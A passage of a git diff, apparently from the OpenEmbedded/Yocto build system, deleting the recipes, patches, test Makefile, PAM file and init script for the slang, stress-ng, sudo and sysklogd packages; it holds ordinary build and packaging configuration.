11@@ -72,3 +71,0 @@ AC_SUBST(LIB_READLINE)
12-# For the socket module
13-AC_PATH_XTRA
14-
15--- a/modules/Makefile.in
16+++ b/modules/Makefile.in
17@@ -67 +66,0 @@ ZLIB_LIB = @Z_LIB@ -lz
18-SOCKET_LIBS = @X_EXTRA_LIBS@
diff --git a/meta/recipes-extended/slang/slang/run-ptest b/meta/recipes-extended/slang/slang/run-ptest
deleted file mode 100644
index 39f474af31..0000000000
--- a/meta/recipes-extended/slang/slang/run-ptest
+++ /dev/null
@@ -1,3 +0,0 @@
1#!/bin/sh
2
3make -C test runtests
diff --git a/meta/recipes-extended/slang/slang/terminfo_fixes.patch b/meta/recipes-extended/slang/slang/terminfo_fixes.patch
deleted file mode 100644
index 331b7f02e4..0000000000
--- a/meta/recipes-extended/slang/slang/terminfo_fixes.patch
+++ /dev/null
@@ -1,168 +0,0 @@
1From 2a75095638002d37a2f9c7aeb0ec54f271b0a1c4 Mon Sep 17 00:00:00 2001
2From: Joe Slater <joe.slater@windriver.com>
3Date: Tue, 1 Aug 2017 12:36:53 -0700
4Subject: [PATCH] slang: fix terminfo related problems
5
6Do not use the JD_TERMCAP macro since we cannot get the terminfo from
7ncurses pkg-config, but fix the macro to not reference host directories.
8Also add src/test/Makefile.in so that we can use -ltermcap if we want to.
9
10Upstream isn't going to take this, as it forces blank values and
11removes functionality without replacing it.
12Upstream-Status: Inappropriate [see above]
13
14Signed-off-by: Joe Slater <joe.slater@windriver.com>
15
16---
17 autoconf/aclocal.m4 | 8 +---
18 autoconf/configure.ac | 11 +++++-
19 src/test/Makefile.in | 90 +++++++++++++++++++++++++++++++++++++++++++
20 3 files changed, 100 insertions(+), 9 deletions(-)
21 create mode 100644 src/test/Makefile.in
22
23diff --git a/autoconf/aclocal.m4 b/autoconf/aclocal.m4
24index b2dfcd3..5f94ed3 100644
25--- a/autoconf/aclocal.m4
26+++ b/autoconf/aclocal.m4
27@@ -509,15 +509,9 @@ then
28 else
29 MISC_TERMINFO_DIRS=""
30 fi
31-JD_Terminfo_Dirs="$MISC_TERMINFO_DIRS \
32- /usr/lib/terminfo \
33- /usr/share/terminfo \
34- /usr/share/lib/terminfo \
35- /usr/local/lib/terminfo \
36- /etc/terminfo /lib/terminfo"
37 TERMCAP=-ltermcap
38
39-for terminfo_dir in $JD_Terminfo_Dirs
40+for terminfo_dir in $MISC_TERMINFO_DIRS
41 do
42 if test -d $terminfo_dir
43 then
44diff --git a/autoconf/configure.ac b/autoconf/configure.ac
45index 8e11e13..9e6402c 100644
46--- a/autoconf/configure.ac
47+++ b/autoconf/configure.ac
48@@ -250,7 +250,14 @@ AC_CHECK_SIZEOF(size_t)
49 JD_CHECK_LONG_LONG
50 JD_LARGE_FILE_SUPPORT
51
52-JD_TERMCAP
53+dnl Do not use JD_TERMCAP, since we cannot get terminfo from ncurses*-config anymore.
54+dnl Set TERMCAP=-ltermcap and AC_DEFINE(USE_TERMCAP,1,[Define to use termcap])
55+dnl to use libtermcap.
56+TERMCAP=""
57+MISC_TERMINFO_DIRS=""
58+AC_SUBST(TERMCAP)dnl
59+AC_SUBST(MISC_TERMINFO_DIRS)dnl
60+
61 JD_GCC_WARNINGS
62
63 JD_SET_OBJ_SRC_DIR(src)
64@@ -365,7 +372,7 @@ AC_CONFIG_HEADER(src/sysconf.h:src/config.hin)
65 dnl AC_CONFIG_SUBDIRS(demo)
66
67 AC_OUTPUT(Makefile:autoconf/Makefile.in \
68- src/Makefile slsh/Makefile modules/Makefile demo/Makefile \
69+ src/Makefile src/test/Makefile slsh/Makefile modules/Makefile demo/Makefile \
70 slang.pc:autoconf/slangpc.in \
71 )
72
73diff --git a/src/test/Makefile.in b/src/test/Makefile.in
74new file mode 100644
75index 0000000..4b7307f
76--- /dev/null
77+++ b/src/test/Makefile.in
78@@ -0,0 +1,90 @@
79+# -*- make -*-
80+TEST_SCRIPTS_SLC = argv syntax scircuit eqs sscanf loops arith array strops \
81+ bstring pack stdio assoc selfload struct nspace path ifeval anytype arrmult \
82+ time utf8 except bugs list regexp method deref naninf overflow sort \
83+ longlong signal dollar req docfun debug qualif compare break multline \
84+ stack misc posixio posdir proc math
85+
86+TEST_SCRIPTS_NO_SLC = autoload nspace2 prep
87+
88+TEST_SCRIPTS = $(TEST_SCRIPTS_SLC) $(TEST_SCRIPTS_NO_SLC)
89+
90+TEST_PGM = sltest
91+MEMCHECK = valgrind --tool=memcheck --leak-check=yes --leak-resolution=med --num-callers=20
92+RUN_TEST_PGM = ./$(TEST_PGM)
93+SLANGINC = ..
94+SLANGLIB = ../$(ARCH)objs
95+OTHER_LIBS = -lm @TERMCAP@
96+OTHER_CFLAGS =
97+
98+runtests: $(TEST_PGM) cleantmp
99+ @tests=""; \
100+ for test in $(TEST_SCRIPTS); \
101+ do \
102+ tests="$$tests $$test.sl"; \
103+ done; \
104+ for test in $(TEST_SCRIPTS_SLC); \
105+ do \
106+ tests="$$tests $$test.slc"; \
107+ done; \
108+ MAKERUNNING=1 ./runtests.sh $$tests
109+# @touch $(TEST_PGM).c
110+
111+update: $(TEST_PGM) cleantmp
112+ @tests=""; \
113+ for X in $(TEST_SCRIPTS); \
114+ do \
115+ if [ ! -e lastrun/$$X.sl ] || [ $$X.sl -nt lastrun/$$X.sl ] ; \
116+ then \
117+ tests="$$tests $$X.sl"; \
118+ fi \
119+ done; \
120+ for X in $(TEST_SCRIPTS_SLC); \
121+ do \
122+ if [ ! -e lastrun/$$X.slc ] || [ $$X.sl -nt lastrun/$$X.slc ] ; \
123+ then \
124+ tests="$$tests $$X.slc"; \
125+ fi \
126+ done; \
127+ if test -n "$$tests"; \
128+ then \
129+ MAKERUNNING=1 ./runtests.sh $$tests; \
130+ fi
131+# @touch $(TEST_PGM).c
132+
133+memcheck_runtests: $(TEST_PGM) cleantmp
134+ @echo ""
135+ @echo "Running tests:"
136+ @echo ""
137+ -@for X in $(TEST_SCRIPTS); \
138+ do \
139+ $(MEMCHECK) --log-file=log.$${X} $(RUN_TEST_PGM) $$X.sl; \
140+ grep ERROR log.$${X}; grep 'lost: [^0]' log.$${X}; \
141+ $(MEMCHECK) --log-file=log.$${X}_u $(RUN_TEST_PGM) -utf8 $$X.sl; \
142+ grep ERROR log.$${X}_u; grep 'lost: [^0]' log.$${X}_u; \
143+ done
144+# touch $(TEST_PGM).c
145+
146+memcheck_runtests_slc: $(TEST_PGM) cleantmp
147+ @echo ""
148+ @echo "Running tests:"
149+ @echo ""
150+ -@for X in $(TEST_SCRIPTS_SLC); \
151+ do \
152+ $(MEMCHECK) --log-file=log.$${X}_c $(RUN_TEST_PGM) $$X.slc; \
153+ $(MEMCHECK) --log-file=log.$${X}_uc $(RUN_TEST_PGM) -utf8 $$X.slc; \
154+ done
155+# touch $(TEST_PGM).c
156+
157+memcheck: memcheck_runtests memcheck_runtests_slc
158+
159+$(TEST_PGM): $(TEST_PGM).c assoc.c list.c $(SLANGLIB)/libslang.a
160+ $(CC) $(CFLAGS) $(OTHER_CFLAGS) $(LDFLAGS) $(TEST_PGM).c -o $(TEST_PGM) -I$(SLANGINC) -L$(SLANGLIB) -lslang $(OTHER_LIBS)
161+cleantmp:
162+ -/bin/rm -rf tmpfile*.* tmpdir*.*
163+clean: cleantmp
164+ -/bin/rm -f *~ *.o *.log log.pid* *.slc log.* *.log-*
165+distclean: clean
166+ /bin/rm -f $(TEST_PGM) $(TEST_PGM).gcda $(TEST_PGM).gcno
167+.PHONY: clean memcheck runtests memcheck_runtests_slc memcheck_runtests cleantmp
168+
diff --git a/meta/recipes-extended/slang/slang/test-add-output-in-the-format-result-testname.patch b/meta/recipes-extended/slang/slang/test-add-output-in-the-format-result-testname.patch
deleted file mode 100644
index 27a9bb87ea..0000000000
--- a/meta/recipes-extended/slang/slang/test-add-output-in-the-format-result-testname.patch
+++ /dev/null
@@ -1,30 +0,0 @@
1From 38688ee2754415cf2a1935dafb8278861b7315e7 Mon Sep 17 00:00:00 2001
2From: Stefan Strogin <sstrogin@cisco.com>
3Date: Thu, 2 Mar 2017 00:26:31 +0200
4Subject: [PATCH] test: add output in the format "result: testname"
5
6Upstream-Status: Inappropriate [oe specific]
7
8Signed-off-by: Stefan Strogin <sstrogin@cisco.com>
9---
10 src/test/runtests.sh | 2 ++
11 1 file changed, 2 insertions(+)
12
13diff --git a/src/test/runtests.sh b/src/test/runtests.sh
14index a3eaad0..64f0705 100755
15--- a/src/test/runtests.sh
16+++ b/src/test/runtests.sh
17@@ -34,8 +34,10 @@ do
18 then
19 n_failed=`expr ${n_failed} + 1`
20 tests_failed="$tests_failed $testfile"
21+ echo "FAIL: $testfile"
22 else
23 touch lastrun/$testfile
24+ echo "PASS: $testfile"
25 fi
26 done
27
28--
292.11.0
30
diff --git a/meta/recipes-extended/slang/slang_2.3.3.bb b/meta/recipes-extended/slang/slang_2.3.3.bb
deleted file mode 100644
index 05b8aff0f2..0000000000
--- a/meta/recipes-extended/slang/slang_2.3.3.bb
+++ /dev/null
@@ -1,83 +0,0 @@
1SUMMARY = "The shared library for the S-Lang extension language"
2
3DESCRIPTION = "S-Lang is an interpreted language and a programming library. The \
4S-Lang language was designed so that it can be easily embedded into \
5a program to provide the program with a powerful extension language. \
6The S-Lang library, provided in this package, provides the S-Lang \
7extension language. S-Lang's syntax resembles C, which makes it easy \
8to recode S-Lang procedures in C if you need to."
9
10HOMEPAGE = "http://www.jedsoft.org/slang/"
11SECTION = "libs"
12DEPENDS = "ncurses virtual/libiconv"
13
14LICENSE = "GPL-2.0-only"
15LIC_FILES_CHKSUM = "file://COPYING;md5=a52a18a472d4f7e45479b06563717c02"
16
17SRC_URI = "http://www.jedsoft.org/releases/${BPN}/${BP}.tar.bz2 \
18 file://no-x.patch \
19 file://dont-link-to-host.patch \
20 file://test-add-output-in-the-format-result-testname.patch \
21 file://terminfo_fixes.patch \
22 file://array_test.patch \
23 file://run-ptest \
24 "
25
26SRC_URI[sha256sum] = "f9145054ae131973c61208ea82486d5dd10e3c5cdad23b7c4a0617743c8f5a18"
27
28UPSTREAM_CHECK_URI = "http://www.jedsoft.org/releases/slang/"
29PREMIRRORS:append = " http://www.jedsoft.org/releases/slang/.* http://www.jedsoft.org/releases/slang/old/"
30
31inherit autotools-brokensep ptest
32CLEANBROKEN = "1"
33
34EXTRA_OECONF = "--without-onig"
35# There's no way to turn off rpaths and slang will -rpath to the default search
36# path. Unset RPATH to stop this.
37EXTRA_OEMAKE = "RPATH=''"
38
39PACKAGECONFIG ??= "pcre"
40PACKAGECONFIG[pcre] = "--with-pcre=${STAGING_DIR_HOST}${prefix},--without-pcre,pcre"
41PACKAGECONFIG[png] = "--with-png=${STAGING_DIR_HOST}${prefix},--without-png,libpng"
42PACKAGECONFIG[zlib] = "--with-z=${STAGING_DIR_HOST}${prefix},--without-z,zlib"
43
44do_configure:prepend() {
45 cd ${S}/autoconf
46 # slang keeps configure.ac and rest of autoconf files in autoconf/ directory
47 # we have to go there to be able to run gnu-configize cause it expects configure.{in,ac}
48 # to be present. Resulting files land in autoconf/autoconf/ so we need to move them.
49 gnu-configize --force && mv autoconf/config.* .
50 # For the same reason we also need to run autoconf manually.
51 autoconf && mv configure ..
52 cd ${B}
53}
54
55do_compile_ptest() {
56 oe_runmake -C src static
57 oe_runmake -C src/test sltest
58}
59
60do_install_ptest() {
61 mkdir ${D}${PTEST_PATH}/test
62 for f in Makefile sltest runtests.sh *.sl *.inc; do
63 cp ${S}/src/test/$f ${D}${PTEST_PATH}/test/
64 done
65 sed -e 's/\ \$(TEST_PGM)\.c\ assoc\.c\ list\.c\ \$(SLANGLIB)\/libslang\.a//' \
66 -e '/\$(CC).*(TEST_PGM)/d' \
67 -i ${D}${PTEST_PATH}/test/Makefile
68
69 cp ${S}/slsh/lib/require.sl ${D}${PTEST_PATH}/test/
70 sed -i 's/\.\.\/\.\.\/slsh\/lib\/require\.sl/require\.sl/' ${D}${PTEST_PATH}/test/req.sl
71
72 cp ${S}/doc/text/slangfun.txt ${D}${PTEST_PATH}/test/
73 sed -i 's/\.\.\/\.\.\/doc\/text\/slangfun\.txt/slangfun\.txt/' ${D}${PTEST_PATH}/test/docfun.sl
74}
75
76FILES:${PN} += "${libdir}/${BPN}/v2/modules/ ${datadir}/slsh/"
77
78RDEPENDS:${PN}-ptest += "make"
79
80PARALLEL_MAKE = ""
81PARALLEL_MAKEINST = ""
82
83BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/stress-ng/stress-ng_0.19.04.bb b/meta/recipes-extended/stress-ng/stress-ng_0.19.04.bb
deleted file mode 100644
index 88d3ee3f4a..0000000000
--- a/meta/recipes-extended/stress-ng/stress-ng_0.19.04.bb
+++ /dev/null
@@ -1,31 +0,0 @@
1SUMMARY = "System load testing utility"
2DESCRIPTION = "Deliberately simple workload generator for POSIX systems. It \
3imposes a configurable amount of CPU, memory, I/O, and disk stress on the system."
4HOMEPAGE = "https://github.com/ColinIanKing/stress-ng#readme"
5LICENSE = "GPL-2.0-only"
6LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
7
8SRC_URI = "git://github.com/ColinIanKing/stress-ng.git;protocol=https;branch=master;tag=V${PV}"
9SRCREV = "6e977ddae4b66bc0e5c3f993e3b5ff0bc06915fd"
10
11DEPENDS = "coreutils-native libbsd"
12
13PROVIDES = "stress"
14RPROVIDES:${PN} = "stress"
15RREPLACES:${PN} = "stress"
16RCONFLICTS:${PN} = "stress"
17
18inherit bash-completion
19
20EXTRA_OEMAKE = "VERBOSE=1"
21
22do_configure() {
23 mkdir -p configs
24 touch configs/HAVE_APPARMOR
25 oe_runmake makeconfig
26}
27
28do_install() {
29 oe_runmake DESTDIR=${D} BINDIR=${bindir} install
30 ln -s stress-ng ${D}${bindir}/stress
31}
diff --git a/meta/recipes-extended/sudo/files/0001-sudo.conf.in-fix-conflict-with-multilib.patch b/meta/recipes-extended/sudo/files/0001-sudo.conf.in-fix-conflict-with-multilib.patch
deleted file mode 100644
index 1989c5abd7..0000000000
--- a/meta/recipes-extended/sudo/files/0001-sudo.conf.in-fix-conflict-with-multilib.patch
+++ /dev/null
@@ -1,61 +0,0 @@
1From 8c69192754ba73dd6e3273728a21aa73988f4bfb Mon Sep 17 00:00:00 2001
2From: Kai Kang <kai.kang@windriver.com>
3Date: Tue, 17 Nov 2020 11:13:40 +0800
4Subject: [PATCH] sudo.conf.in: fix conflict with multilib
5
6When pass ${libdir} to --libexecdir of sudo, it fails to install sudo
7and lib32-sudo at same time:
8
9| Error: Transaction test error:
10| file /etc/sudo.conf conflicts between attempted installs of
11 sudo-1.9.3p1-r0.core2_64 and lib32-sudo-1.9.3p1-r0.core2_32
12
13Update the comments in sudo.conf.in to avoid the conflict.
14
15Signed-off-by: Kai Kang <kai.kang@windriver.com>
16
17Upstream-Status: Inappropriate [OE configuration specific]
18---
19 examples/sudo.conf.in | 8 ++++----
20 1 file changed, 4 insertions(+), 4 deletions(-)
21
22diff --git a/examples/sudo.conf.in b/examples/sudo.conf.in
23index bdd676c..094341c 100644
24--- a/examples/sudo.conf.in
25+++ b/examples/sudo.conf.in
26@@ -4,7 +4,7 @@
27 # Sudo plugins:
28 # Plugin plugin_name plugin_path plugin_options ...
29 #
30-# The plugin_path is relative to @plugindir@ unless
31+# The plugin_path is relative to $plugindir such as /usr/lib/sudo unless
32 # fully qualified.
33 # The plugin_name corresponds to a global symbol in the plugin
34 # that contains the plugin interface structure.
35@@ -51,7 +51,7 @@
36 # The compiled-in value is usually sufficient and should only be changed
37 # if you rename or move the sudo_intercept.so file.
38 #
39-#Path intercept @intercept_file@
40+#Path intercept $intercept_file
41
42 #
43 # Sudo noexec:
44@@ -65,7 +65,7 @@
45 # The compiled-in value is usually sufficient and should only be changed
46 # if you rename or move the sudo_noexec.so file.
47 #
48-#Path noexec @noexec_file@
49+#Path noexec $noexec_file
50
51 #
52 # Sudo plugin directory:
53@@ -74,7 +74,7 @@
54 # The default directory to use when searching for plugins that are
55 # specified without a fully-qualified path name.
56 #
57-#Path plugin_dir @plugindir@
58+#Path plugin_dir $plugindir
59
60 #
61 # Core dumps:
diff --git a/meta/recipes-extended/sudo/files/sudo.pam b/meta/recipes-extended/sudo/files/sudo.pam
deleted file mode 100644
index 515eab0c6c..0000000000
--- a/meta/recipes-extended/sudo/files/sudo.pam
+++ /dev/null
@@ -1,6 +0,0 @@
1#%PAM-1.0
2auth include common-auth
3account include common-account
4password include common-password
5session optional pam_keyinit.so revoke
6session required pam_limits.so
diff --git a/meta/recipes-extended/sudo/sudo.inc b/meta/recipes-extended/sudo/sudo.inc
deleted file mode 100644
index a23de1fcf7..0000000000
--- a/meta/recipes-extended/sudo/sudo.inc
+++ /dev/null
@@ -1,50 +0,0 @@
1SUMMARY = "Provide limited super user privileges to specific users"
2DESCRIPTION = "Sudo (superuser do) allows a system administrator to give certain users (or groups of users) the ability to run some (or all) commands as root while logging all commands and arguments."
3HOMEPAGE = "http://www.sudo.ws"
4BUGTRACKER = "http://www.sudo.ws/bugs/"
5SECTION = "admin"
6LICENSE = "ISC & BSD-3-Clause & BSD-2-Clause & Zlib"
7LIC_FILES_CHKSUM = "file://LICENSE.md;md5=2841c822e587db145364ca95e9be2ffa \
8 file://plugins/sudoers/redblack.c;beginline=1;endline=46;md5=03e35317699ba00b496251e0dfe9f109 \
9 file://lib/util/reallocarray.c;beginline=3;endline=15;md5=397dd45c7683e90b9f8bf24638cf03bf \
10 file://lib/util/fnmatch.c;beginline=3;endline=27;md5=004d7d2866ba1f5b41174906849d2e0f \
11 file://lib/util/glob.c;beginline=2;endline=31;md5=2852f68687544e3eb8a0a61665506f0e \
12 file://lib/util/snprintf.c;beginline=3;endline=33;md5=b70df6179969e38fcf68da91b53b8029 \
13 file://include/sudo_queue.h;beginline=2;endline=27;md5=ad578e9664d17a010b63e4bc0576ee8d \
14 file://lib/util/inet_pton.c;beginline=3;endline=17;md5=27785c9f5835093eda42aa0816a2d0b4 \
15 file://lib/util/arc4random.c;beginline=3;endline=20;md5=ced8636ecefa2ba907cfe390bc3bd964 \
16 file://lib/util/arc4random_uniform.c;beginline=3;endline=17;md5=e30c2b777cdc00cfcaf7c445a10b262f \
17 file://lib/util/getentropy.c;beginline=1;endline=19;md5=a0f58be3d60b6dcd898ec5fe0866d36f \
18 "
19
20inherit autotools
21
22PACKAGECONFIG ??= ""
23PACKAGECONFIG[zlib] = "--enable-zlib,--disable-zlib,zlib"
24PACKAGECONFIG[pam-wheel] = ",,,pam-plugin-wheel"
25PACKAGECONFIG[audit] = "--with-linux-audit,--without-linux-audit,audit"
26PACKAGECONFIG[selinux] = "--with-selinux,--without-selinux,libselinux"
27
28EXTRA_OECONF = "--with-editor=${base_bindir}/vi --with-env-editor"
29
30EXTRA_OECONF:append:libc-musl = " --disable-hardening "
31
32do_compile:prepend () {
33 # Remove build host references from config.h
34 sed -i \
35 -e 's,--with-libtool-sysroot=${STAGING_DIR_TARGET},,g' \
36 -e 's,--build=${BUILD_SYS},,g' \
37 -e 's,--host=${HOST_SYS},,g' \
38 ${B}/config.h
39}
40
41# Explicitly create ${localstatedir}/lib before do_install to ensure
42# the directory is accessible by all users. Otherwise the mkinstalldirs
43# script (from sudo) will recursively create ${localstatedir}/lib/sudo
44# and then chmod each directory with 0700 permissions, which isn't what
45# we want (i.e, users would not be able to access /var/lib).
46do_install:prepend (){
47 mkdir -p ${D}/${localstatedir}/lib
48}
49
50CVE_VERSION_SUFFIX = "patch"
diff --git a/meta/recipes-extended/sudo/sudo_1.9.17p2.bb b/meta/recipes-extended/sudo/sudo_1.9.17p2.bb
deleted file mode 100644
index 3a5c111961..0000000000
--- a/meta/recipes-extended/sudo/sudo_1.9.17p2.bb
+++ /dev/null
@@ -1,61 +0,0 @@
1require sudo.inc
2
3SRC_URI = "https://www.sudo.ws/dist/sudo-${PV}.tar.gz \
4 ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '${PAM_SRC_URI}', '', d)} \
5 file://0001-sudo.conf.in-fix-conflict-with-multilib.patch \
6 "
7
8PAM_SRC_URI = "file://sudo.pam"
9
10SRC_URI[sha256sum] = "4a38a1ab3adb1199257edc2a7c4a2bd714665eb605b04368843b06dada2cfcfb"
11
12DEPENDS += " virtual/crypt ${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'libpam', '', d)}"
13RDEPENDS:${PN} += " ${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'pam-plugin-limits pam-plugin-keyinit', '', d)}"
14
15CACHED_CONFIGUREVARS = " \
16 ac_cv_type_rsize_t=no \
17 ac_cv_path_MVPROG=${base_bindir}/mv \
18 ac_cv_path_BSHELLPROG=${base_bindir}/sh \
19 ac_cv_path_SENDMAILPROG=${sbindir}/sendmail \
20 ac_cv_path_VIPROG=${base_bindir}/vi \
21 "
22
23EXTRA_OECONF += " \
24 ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '--with-pam', '--without-pam', d)} \
25 ${@bb.utils.contains('DISTRO_FEATURES', 'systemd', '--enable-tmpfiles.d=${nonarch_libdir}/tmpfiles.d', '--disable-tmpfiles.d', d)} \
26 --with-rundir=/run/sudo \
27 --with-vardir=/var/lib/sudo \
28 --libexecdir=${libdir} \
29 "
30
31do_install:append () {
32 if [ "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)}" ]; then
33 install -D -m 644 ${UNPACKDIR}/sudo.pam ${D}/${sysconfdir}/pam.d/sudo
34 if ${@bb.utils.contains('PACKAGECONFIG', 'pam-wheel', 'true', 'false', d)} ; then
35 echo 'auth required pam_wheel.so use_uid' >>${D}${sysconfdir}/pam.d/sudo
36 sed -i 's/# \(%wheel ALL=(ALL) ALL\)/\1/' ${D}${sysconfdir}/sudoers
37 fi
38 fi
39
40 chmod 4111 ${D}${bindir}/sudo
41 chmod 0440 ${D}${sysconfdir}/sudoers
42
43 # Explicitly remove the /sudo directory to avoid QA error
44 rmdir -p --ignore-fail-on-non-empty ${D}/run/sudo
45}
46
47FILES:${PN}-dev += "${libdir}/${BPN}/lib*${SOLIBSDEV} ${libdir}/${BPN}/*.la \
48 ${libdir}/lib*${SOLIBSDEV} ${libdir}/*.la"
49
50CONFFILES:${PN}-lib = "${sysconfdir}/sudoers"
51
52SUDO_PACKAGES = "${PN}-sudo\
53 ${PN}-lib"
54
55PACKAGE_BEFORE_PN = "${SUDO_PACKAGES}"
56
57RDEPENDS:${PN}-sudo = "${PN}-lib"
58RDEPENDS:${PN} += "${SUDO_PACKAGES}"
59
60FILES:${PN}-sudo = "${bindir}/sudo ${bindir}/sudoedit"
61FILES:${PN}-lib = "${localstatedir} ${libexecdir} ${sysconfdir} ${libdir} ${nonarch_libdir}"
diff --git a/meta/recipes-extended/sysklogd/sysklogd/sysklogd b/meta/recipes-extended/sysklogd/sysklogd/sysklogd
deleted file mode 100755
index 050772b59d..0000000000
--- a/meta/recipes-extended/sysklogd/sysklogd/sysklogd
+++ /dev/null
@@ -1,154 +0,0 @@
1#! /bin/sh
2# /etc/init.d/sysklogd: start the system log daemon.
3
4### BEGIN INIT INFO
5# Provides: sysklogd
6# Required-Start: $remote_fs $time
7# Required-Stop: $remote_fs $time
8# Should-Start: $network
9# Should-Stop: $network
10# Default-Start: 2 3 4 5
11# Default-Stop: 0 1 6
12# Short-Description: System logger
13### END INIT INFO
14
15# Source function library.
16. /etc/init.d/functions
17
18PATH=/bin:/usr/bin:/sbin:/usr/sbin
19
20pidfile_syslogd=/var/run/syslogd.pid
21binpath_syslogd=/usr/sbin/syslogd
22
23test -x $binpath || exit 0
24
25# run secure by default
26SYSLOGD="-ss"
27
28test ! -r /etc/default/syslogd || . /etc/default/syslogd
29
30create_xconsole()
31{
32 # Only proceed if /dev/xconsole is used at all
33 if ! grep -q '^[^#].*/dev/xconsole' /etc/syslog.conf
34 then
35 return
36 fi
37
38 if [ ! -e /dev/xconsole ]; then
39 mknod -m 640 /dev/xconsole p
40 else
41 chmod 0640 /dev/xconsole
42 fi
43 chown root:adm /dev/xconsole
44 test ! -x /sbin/restorecon || /sbin/restorecon /dev/xconsole
45}
46
47log_begin_msg () {
48 echo -n $1
49}
50
51log_end_msg () {
52 echo $1
53}
54
55log_success_msg () {
56 echo $1
57}
58
59running()
60{
61 # No pidfile, probably no daemon present
62 #
63 if [ ! -f $pidfile ]
64 then
65 return 1
66 fi
67
68 pid=`cat $pidfile_syslogd`
69
70 # No pid, probably no daemon present
71 #
72 if [ -z "$pid" ]
73 then
74 return 1
75 fi
76
77 if [ ! -d /proc/$pid ]
78 then
79 return 1
80 fi
81
82 cmd=`cat /proc/$pid/cmdline | tr "\000" "\n"|head -n 1`
83
84 # No syslogd?
85 #
86 if [ "$cmd" != "$binpath" ]
87 then
88 return 1
89 fi
90
91 return 0
92}
93
94waitpid ()
95{
96 pid=$1
97 # Give pid a chance to exit before we restart with a 5s timeout in 1s intervals
98 if [ -z "$pid" ]; then
99 return
100 fi
101 timeout=5;
102 while [ $timeout -gt 0 ]
103 do
104 timeout=$(( $timeout-1 ))
105 kill -0 $pid 2> /dev/null || break
106 sleep 1
107 done
108}
109
110case "$1" in
111 start)
112 log_begin_msg "Starting system log daemon..."
113 create_xconsole
114 start-stop-daemon --start --quiet --pidfile $pidfile_syslogd --name syslogd --startas $binpath_syslogd -- $SYSLOGD
115 log_end_msg $?
116 ;;
117 stop)
118 log_begin_msg "Stopping system log daemon..."
119 start-stop-daemon --stop --quiet --pidfile $pidfile_syslogd --name syslogd
120 log_end_msg $?
121 ;;
122 reload|force-reload)
123 log_begin_msg "Reloading system log daemon..."
124 start-stop-daemon --stop --quiet --signal 1 --pidfile $pidfile_syslogd --name syslogd
125 log_end_msg $?
126 ;;
127 restart)
128 log_begin_msg "Restarting system log daemon..."
129 pid=`cat $pidfile_syslogd 2> /dev/null`
130 start-stop-daemon --stop --retry 5 --quiet --pidfile $pidfile_syslogd --name syslogd
131 waitpid $pid
132 start-stop-daemon --start --quiet --pidfile $pidfile_syslogd --name syslogd --startas $binpath_syslogd -- $SYSLOGD
133 log_end_msg $?
134 ;;
135 reload-or-restart)
136 if running
137 then
138 $0 reload
139 else
140 $0 start
141 fi
142 ;;
143 status)
144 status syslogd
145 RETVAL=$?
146 [ $RETVAL -eq 0 ] && exit $rval
147 exit $RETVAL
148 ;;
149 *)
150 log_success_msg "Usage: /etc/init.d/sysklogd {start|stop|reload|restart|force-reload|reload-or-restart|status}"
151 exit 1
152esac
153
154exit 0
diff --git a/meta/recipes-extended/sysklogd/sysklogd_2.7.2.bb b/meta/recipes-extended/sysklogd/sysklogd_2.7.2.bb
deleted file mode 100644
index c436153d1b..0000000000
--- a/meta/recipes-extended/sysklogd/sysklogd_2.7.2.bb
+++ /dev/null
@@ -1,54 +0,0 @@
1SUMMARY = "System Log Daemons"
2DESCRIPTION = "The sysklogd package implements system log daemons: syslogd"
3HOMEPAGE = "http://www.infodrom.org/projects/sysklogd/"
4SECTION = "base"
5
6LICENSE = "BSD-3-Clause"
7LIC_FILES_CHKSUM = "file://LICENSE;md5=5b4be4b2549338526758ef479c040943 \
8 file://src/syslogd.c;beginline=2;endline=15;md5=a880fecbc04503f071c494a9c0dd4f97 \
9 "
10
11inherit update-rc.d update-alternatives systemd autotools
12
13SRC_URI = "git://github.com/troglobit/sysklogd.git;branch=master;protocol=https;tag=v${PV} \
14 file://sysklogd \
15 "
16
17SRCREV = "5fb314cb9060afa3bd4eed2f0be3200f02f729e9"
18
19EXTRA_OECONF = "--with-systemd=${systemd_system_unitdir} --without-logger"
20
21do_install:append () {
22 install -d ${D}${sysconfdir}
23 install -m 644 ${S}/syslog.conf ${D}${sysconfdir}/syslog.conf
24 install -d ${D}${sysconfdir}/init.d
25 install -m 755 ${UNPACKDIR}/sysklogd ${D}${sysconfdir}/init.d/syslog
26}
27
28SYSTEMD_PACKAGES = "${PN}"
29SYSTEMD_SERVICE:${PN} = "syslogd.service"
30SYSTEMD_AUTO_ENABLE = "enable"
31
32INITSCRIPT_NAME = "syslog"
33CONFFILES:${PN} = "${sysconfdir}/syslog.conf"
34RCONFLICTS:${PN} = "rsyslog busybox-syslog syslog-ng"
35
36FILES:${PN} += "${@bb.utils.contains('DISTRO_FEATURES','systemd','${exec_prefix}/lib/tmpfiles.d/sysklogd.conf', '', d)}"
37
38ALTERNATIVE_PRIORITY = "100"
39
40ALTERNATIVE:${PN}-doc = "syslogd.8"
41ALTERNATIVE_LINK_NAME[syslogd.8] = "${mandir}/man8/syslogd.8"
42
43pkg_prerm:${PN} () {
44 if test "x$D" = "x"; then
45 if test "$1" = "upgrade" -o "$1" = "remove"; then
46 /etc/init.d/syslog stop || :
47 fi
48 fi
49}
50
51python () {
52 if not bb.utils.contains('DISTRO_FEATURES', 'sysvinit', True, False, d):
53 d.setVar("INHIBIT_UPDATERCD_BBCLASS", "1")
54}
diff --git a/meta/recipes-extended/sysstat/sysstat/0001-configure.in-remove-check-for-chkconfig.patch b/meta/recipes-extended/sysstat/sysstat/0001-configure.in-remove-check-for-chkconfig.patch
deleted file mode 100644
index 84383f955f..0000000000
--- a/meta/recipes-extended/sysstat/sysstat/0001-configure.in-remove-check-for-chkconfig.patch
+++ /dev/null
@@ -1,31 +0,0 @@
1From 1590cc614aaf0fb81cd804414d6c9d5a9227352c Mon Sep 17 00:00:00 2001
2From: Wenlin Kang <wenlin.kang@windriver.com>
3Date: Tue, 5 Nov 2019 16:16:44 +0800
4Subject: [PATCH] configure.ac: remove check for chkconfig
5
6chkconfig can't work on cross-platform, so should remove check for it.
7
8Upstream-Status: Inappropriate [ embedded specific ]
9
10Signed-off-by: Wenlin Kang <wenlin.kang@windriver.com>
11---
12 configure.ac | 3 ++-
